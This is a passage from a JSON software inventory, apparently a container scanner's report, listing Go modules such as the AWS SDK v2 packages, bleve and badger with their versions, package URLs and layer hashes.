"pkg:golang/github.com/aws/aws-sdk-go-v2/credentials@v1.19.7", "UID": "5c1f3c401d22dadf" }, "Version": "v1.19.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "Name": "github.com/aws/aws-sdk-go-v2/feature/ec2/imds", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/feature/ec2/imds@v1.18.17", "UID": "132ab3da0838dfbd" }, "Version": "v1.18.17", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/feature/s3/manager@v1.20.3", "Name": "github.com/aws/aws-sdk-go-v2/feature/s3/manager", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/feature/s3/manager@v1.20.3", "UID": "81d8371f11acd1ea" }, "Version": "v1.20.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.23", "Name": "github.com/aws/aws-sdk-go-v2/internal/configsources", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/configsources@v1.4.23", "UID": "12fbc6b068f88510" }, "Version": "v1.4.23", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.23", "Name": "github.com/aws/aws-sdk-go-v2/internal/endpoints/v2", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/endpoints/v2@v2.7.23", "UID": "8cf5e7c5c2e075b4" }, "Version": "v2.7.23", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "Name": "github.com/aws/aws-sdk-go-v2/internal/ini", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/ini@v1.8.4", "UID": "8eb84bcb95ae5c83" }, "Version": "v1.8.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/internal/v4a@v1.4.24", "Name": "github.com/aws/aws-sdk-go-v2/internal/v4a", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/internal/v4a@v1.4.24", "UID": "5c14985c5114914c" }, "Version": "v1.4.24", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/cloudwatch@v1.45.3", "Name": "github.com/aws/aws-sdk-go-v2/service/cloudwatch", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/cloudwatch@v1.45.3", "UID": "de2fd0800ae800e5" }, "Version": "v1.45.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs@v1.73.0", "Name": "github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/cloudwatchlogs@v1.73.0", "UID": "3a2e5555d72c56a" }, "Version": "v1.73.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/ec2@v1.225.2", "Name": "github.com/aws/aws-sdk-go-v2/service/ec2", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/ec2@v1.225.2", "UID": "a380638629cd7f00" }, "Version": "v1.225.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.9", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding@v1.13.9", "UID": "2fa92a8683daef4c" }, "Version": "v1.13.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/checksum@v1.9.15", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/checksum", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/checksum@v1.9.15", "UID": "3d23331ad99c44b5" }, "Version": "v1.9.15", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.23", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/presigned-url", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/presigned-url@v1.13.23", "UID": "bf8ff4410a6606a0" }, "Version": "v1.13.23", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/internal/s3shared@v1.19.23", "Name": "github.com/aws/aws-sdk-go-v2/service/internal/s3shared", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/internal/s3shared@v1.19.23", "UID": "3f9c5f5612e6d12f" }, "Version": "v1.19.23", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/oam@v1.18.3", "Name": "github.com/aws/aws-sdk-go-v2/service/oam", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/oam@v1.18.3", "UID": "fbf62d15010eb8a0" }, "Version": "v1.18.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi@v1.26.6", "Name": "github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/resourcegroupstaggingapi@v1.26.6", "UID": "ae39d05aa147ce3b" }, "Version": "v1.26.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/s3@v1.101.0", "Name": "github.com/aws/aws-sdk-go-v2/service/s3", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/s3@v1.101.0", "UID": "6cab08620529fd7b" }, "Version": "v1.101.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "Name": "github.com/aws/aws-sdk-go-v2/service/signin", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/signin@v1.0.5", "UID": "20c9c92c495579b8" }, "Version": "v1.0.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "Name": "github.com/aws/aws-sdk-go-v2/service/sso", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/sso@v1.30.9", "UID": "f7d3e6b903dd28ef" }, "Version": "v1.30.9", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "Name": "github.com/aws/aws-sdk-go-v2/service/ssooidc", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/ssooidc@v1.35.13", "UID": "7f8222c19ccf19dc" }, "Version": "v1.35.13", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "Name": "github.com/aws/aws-sdk-go-v2/service/sts", "Identifier": { "PURL": "pkg:golang/github.com/aws/aws-sdk-go-v2/service/sts@v1.41.6", "UID": "2e7832329cc8775c" }, "Version": "v1.41.6", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/aws/smithy-go@v1.25.1", "Name": "github.com/aws/smithy-go", "Identifier": { "PURL": "pkg:golang/github.com/aws/smithy-go@v1.25.1", "UID": "9d16651c4512a91e" }, "Version": "v1.25.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/bahlo/generic-list-go@v0.2.0", "Name": "github.com/bahlo/generic-list-go", "Identifier": { "PURL": "pkg:golang/github.com/bahlo/generic-list-go@v0.2.0", "UID": "e13df17752e16466" }, "Version": "v0.2.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/barkimedes/go-deepcopy@v0.0.0-20220514131651-17c30cfc62df", "Name": "github.com/barkimedes/go-deepcopy", "Identifier": { "PURL": "pkg:golang/github.com/barkimedes/go-deepcopy@v0.0.0-20220514131651-17c30cfc62df", "UID": "948d0e2d7448f560" }, "Version": "v0.0.0-20220514131651-17c30cfc62df", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/benbjohnson/clock@v1.3.5", "Name": "github.com/benbjohnson/clock", "Identifier": { "PURL": "pkg:golang/github.com/benbjohnson/clock@v1.3.5", "UID": "bbd591995f89a959" }, "Version": "v1.3.5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/beorn7/perks@v1.0.1", "Name": "github.com/beorn7/perks", "Identifier": { "PURL": "pkg:golang/github.com/beorn7/perks@v1.0.1", "UID": "3507519d58648962" }, "Version": "v1.0.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/bits-and-blooms/bitset@v1.22.0", "Name": "github.com/bits-and-blooms/bitset", "Identifier": { "PURL": "pkg:golang/github.com/bits-and-blooms/bitset@v1.22.0", "UID": "f5895eaee6452d9c" }, "Version": "v1.22.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blang/semver@v3.5.1+incompatible", "Name": "github.com/blang/semver", "Identifier": { "PURL": "pkg:golang/github.com/blang/semver@v3.5.1%2Bincompatible", "UID": "866fe87d799e9b44" }, "Version": "v3.5.1+incompatible", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blang/semver/v4@v4.0.0", "Name": "github.com/blang/semver/v4", "Identifier": { "PURL": "pkg:golang/github.com/blang/semver/v4@v4.0.0", "UID": "ebb370e2b412309b" }, "Version": "v4.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/bleve/v2@v2.5.7", "Name": "github.com/blevesearch/bleve/v2", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/bleve/v2@v2.5.7", "UID": "f9715effd0a9522b" }, "Version": "v2.5.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/bleve_index_api@v1.3.0", "Name": "github.com/blevesearch/bleve_index_api", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/bleve_index_api@v1.3.0", "UID": "6ed9559097b39590" }, "Version": "v1.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/geo@v0.2.4", "Name": "github.com/blevesearch/geo", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/geo@v0.2.4", "UID": "be2ea5a907505925" }, "Version": "v0.2.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/go-porterstemmer@v1.0.3", "Name": "github.com/blevesearch/go-porterstemmer", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/go-porterstemmer@v1.0.3", "UID": "a3ae4aa168d371d0" }, "Version": "v1.0.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/gtreap@v0.1.1", "Name": "github.com/blevesearch/gtreap", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/gtreap@v0.1.1", "UID": "103a4e2692c0998f" }, "Version": "v0.1.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/mmap-go@v1.0.4", "Name": "github.com/blevesearch/mmap-go", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/mmap-go@v1.0.4", "UID": "bda46773a43c40e1" }, "Version": "v1.0.4", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/scorch_segment_api/v2@v2.3.13", "Name": "github.com/blevesearch/scorch_segment_api/v2", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/scorch_segment_api/v2@v2.3.13", "UID": "c8675bcde78f160e" }, "Version": "v2.3.13", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/segment@v0.9.1", "Name": "github.com/blevesearch/segment", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/segment@v0.9.1", "UID": "665d4e76df893907" }, "Version": "v0.9.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/snowballstem@v0.9.0", "Name": "github.com/blevesearch/snowballstem", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/snowballstem@v0.9.0", "UID": "4c1ff6aa3a2a517" }, "Version": "v0.9.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/upsidedown_store_api@v1.0.2", "Name": "github.com/blevesearch/upsidedown_store_api", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/upsidedown_store_api@v1.0.2", "UID": "f9317225abacb396" }, "Version": "v1.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/vellum@v1.1.0", "Name": "github.com/blevesearch/vellum", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/vellum@v1.1.0", "UID": "d2b5f44b60798d3" }, "Version": "v1.1.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v11@v11.4.2", "Name": "github.com/blevesearch/zapx/v11", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v11@v11.4.2", "UID": "8ebc04c228de1460" }, "Version": "v11.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v12@v12.4.2", "Name": "github.com/blevesearch/zapx/v12", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v12@v12.4.2", "UID": "f92fb6e732c06b2b" }, "Version": "v12.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v13@v13.4.2", "Name": "github.com/blevesearch/zapx/v13", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v13@v13.4.2", "UID": "a771e6bb77f5f122" }, "Version": "v13.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v14@v14.4.2", "Name": "github.com/blevesearch/zapx/v14", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v14@v14.4.2", "UID": "ea017701ae5d3586" }, "Version": "v14.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v15@v15.4.2", "Name": "github.com/blevesearch/zapx/v15", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v15@v15.4.2", "UID": "fde66af8862bf279" }, "Version": "v15.4.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/blevesearch/zapx/v16@v16.2.8", "Name": "github.com/blevesearch/zapx/v16", "Identifier": { "PURL": "pkg:golang/github.com/blevesearch/zapx/v16@v16.2.8", "UID": "500a2b08467fc3e4" }, "Version": "v16.2.8", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/bradfitz/gomemcache@v0.0.0-20250403215159-8d39553ac7cf", "Name": "github.com/bradfitz/gomemcache", "Identifier": { "PURL": "pkg:golang/github.com/bradfitz/gomemcache@v0.0.0-20250403215159-8d39553ac7cf", "UID": "695daaffef3d3f8c" }, "Version": "v0.0.0-20250403215159-8d39553ac7cf", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/bufbuild/protocompile@v0.14.1", "Name": "github.com/bufbuild/protocompile", "Identifier": { "PURL": "pkg:golang/github.com/bufbuild/protocompile@v0.14.1", "UID": "88197185965ed25c" }, "Version": "v0.14.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/buger/jsonparser@v1.1.2", "Name": "github.com/buger/jsonparser", "Identifier": { "PURL": "pkg:golang/github.com/buger/jsonparser@v1.1.2", "UID": "bbe55bf84e649283" }, "Version": "v1.1.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/bwmarrin/snowflake@v0.3.0", "Name": "github.com/bwmarrin/snowflake", "Identifier": { "PURL": "pkg:golang/github.com/bwmarrin/snowflake@v0.3.0", "UID": "2c5dec8823a4bb25" }, "Version": "v0.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/c2h5oh/datasize@v0.0.0-20231215233829-aa82cc1e6500", "Name": "github.com/c2h5oh/datasize", "Identifier": { "PURL": "pkg:golang/github.com/c2h5oh/datasize@v0.0.0-20231215233829-aa82cc1e6500", "UID": "eeb0fa0db20dfa58" }, "Version": "v0.0.0-20231215233829-aa82cc1e6500", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cenkalti/backoff/v4@v4.3.0", "Name": "github.com/cenkalti/backoff/v4", "Identifier": { "PURL": "pkg:golang/github.com/cenkalti/backoff/v4@v4.3.0", "UID": "56142318230f4f8b" }, "Version": "v4.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cenkalti/backoff/v5@v5.0.3", "Name": "github.com/cenkalti/backoff/v5", "Identifier": { "PURL": "pkg:golang/github.com/cenkalti/backoff/v5@v5.0.3", "UID": "3d0590d8a850ab39" }, "Version": "v5.0.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/centrifugal/centrifuge@v0.38.0", "Name": "github.com/centrifugal/centrifuge", "Identifier": { "PURL": "pkg:golang/github.com/centrifugal/centrifuge@v0.38.0", "UID": "ccd3880db40407ee" }, "Version": "v0.38.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/centrifugal/protocol@v0.17.0", "Name": "github.com/centrifugal/protocol", "Identifier": { "PURL": "pkg:golang/github.com/centrifugal/protocol@v0.17.0", "UID": "ae3b04c426b8d1bb" }, "Version": "v0.17.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cespare/xxhash/v2@v2.3.0", "Name": "github.com/cespare/xxhash/v2", "Identifier": { "PURL": "pkg:golang/github.com/cespare/xxhash/v2@v2.3.0", "UID": "7e5d8130937bd92b" }, "Version": "v2.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cheekybits/genny@v1.0.0", "Name": "github.com/cheekybits/genny", "Identifier": { "PURL": "pkg:golang/github.com/cheekybits/genny@v1.0.0", "UID": "45b29401128201d2" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/chromedp/cdproto@v0.0.0-20250803210736-d308e07a266d", "Name": "github.com/chromedp/cdproto", "Identifier": { "PURL": "pkg:golang/github.com/chromedp/cdproto@v0.0.0-20250803210736-d308e07a266d", "UID": "1cfeac7c95b7afae" }, "Version": "v0.0.0-20250803210736-d308e07a266d", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/clipperhouse/displaywidth@v0.10.0", "Name": "github.com/clipperhouse/displaywidth", "Identifier": { "PURL": "pkg:golang/github.com/clipperhouse/displaywidth@v0.10.0", "UID": "d775df92ab9e0fa1" }, "Version": "v0.10.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/clipperhouse/uax29/v2@v2.6.0", "Name": "github.com/clipperhouse/uax29/v2", "Identifier": { "PURL": "pkg:golang/github.com/clipperhouse/uax29/v2@v2.6.0", "UID": "91f471cf64bde56a" }, "Version": "v2.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cloudflare/circl@v1.6.3", "Name": "github.com/cloudflare/circl", "Identifier": { "PURL": "pkg:golang/github.com/cloudflare/circl@v1.6.3", "UID": "9b71529254b97693" }, "Version": "v1.6.3", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cncf/xds/go@v0.0.0-20251210132809-ee656c7534f5", "Name": "github.com/cncf/xds/go", "Identifier": { "PURL": "pkg:golang/github.com/cncf/xds/go@v0.0.0-20251210132809-ee656c7534f5", "UID": "dd041961989a7a8b" }, "Version": "v0.0.0-20251210132809-ee656c7534f5", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cockroachdb/apd/v2@v2.0.2", "Name": "github.com/cockroachdb/apd/v2", "Identifier": { "PURL": "pkg:golang/github.com/cockroachdb/apd/v2@v2.0.2", "UID": "2983d9d449d30955" }, "Version": "v2.0.2", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/containerd/errdefs@v1.0.0", "Name": "github.com/containerd/errdefs", "Identifier": { "PURL": "pkg:golang/github.com/containerd/errdefs@v1.0.0", "UID": "fb7c6930d785247b" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/containerd/errdefs/pkg@v0.3.0", "Name": "github.com/containerd/errdefs/pkg", "Identifier": { "PURL": "pkg:golang/github.com/containerd/errdefs/pkg@v0.3.0", "UID": "bb196019b7e07a6f" }, "Version": "v0.3.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/coreos/go-semver@v0.3.1", "Name": "github.com/coreos/go-semver", "Identifier": { "PURL": "pkg:golang/github.com/coreos/go-semver@v0.3.1", "UID": "62cff867901e9c5a" }, "Version": "v0.3.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/coreos/go-systemd/v22@v22.6.0", "Name": "github.com/coreos/go-systemd/v22", "Identifier": { "PURL": "pkg:golang/github.com/coreos/go-systemd/v22@v22.6.0", "UID": "b17a12fc8abbc299" }, "Version": "v22.6.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/cpuguy83/go-md2man/v2@v2.0.7", "Name": "github.com/cpuguy83/go-md2man/v2", "Identifier": { "PURL": "pkg:golang/github.com/cpuguy83/go-md2man/v2@v2.0.7", "UID": "5784baf0a4730083" }, "Version": "v2.0.7", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "Name": "github.com/davecgh/go-spew", "Identifier": { "PURL": "pkg:golang/github.com/davecgh/go-spew@v1.1.2-0.20180830191138-d8f796af33cc", "UID": "bcad075a1a454bb6" }, "Version": "v1.1.2-0.20180830191138-d8f796af33cc", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dennwc/varint@v1.0.0", "Name": "github.com/dennwc/varint", "Identifier": { "PURL": "pkg:golang/github.com/dennwc/varint@v1.0.0", "UID": "481de72773ea7dba" }, "Version": "v1.0.0", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dgraph-io/badger/v4@v4.9.1", "Name": "github.com/dgraph-io/badger/v4", "Identifier": { "PURL": "pkg:golang/github.com/dgraph-io/badger/v4@v4.9.1", "UID": "3ffae2fb56044891" }, "Version": "v4.9.1", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "AnalyzedBy": "gobinary" }, { "ID": "github.com/dgraph-io/ristretto/v2@v2.2.0", "Name": 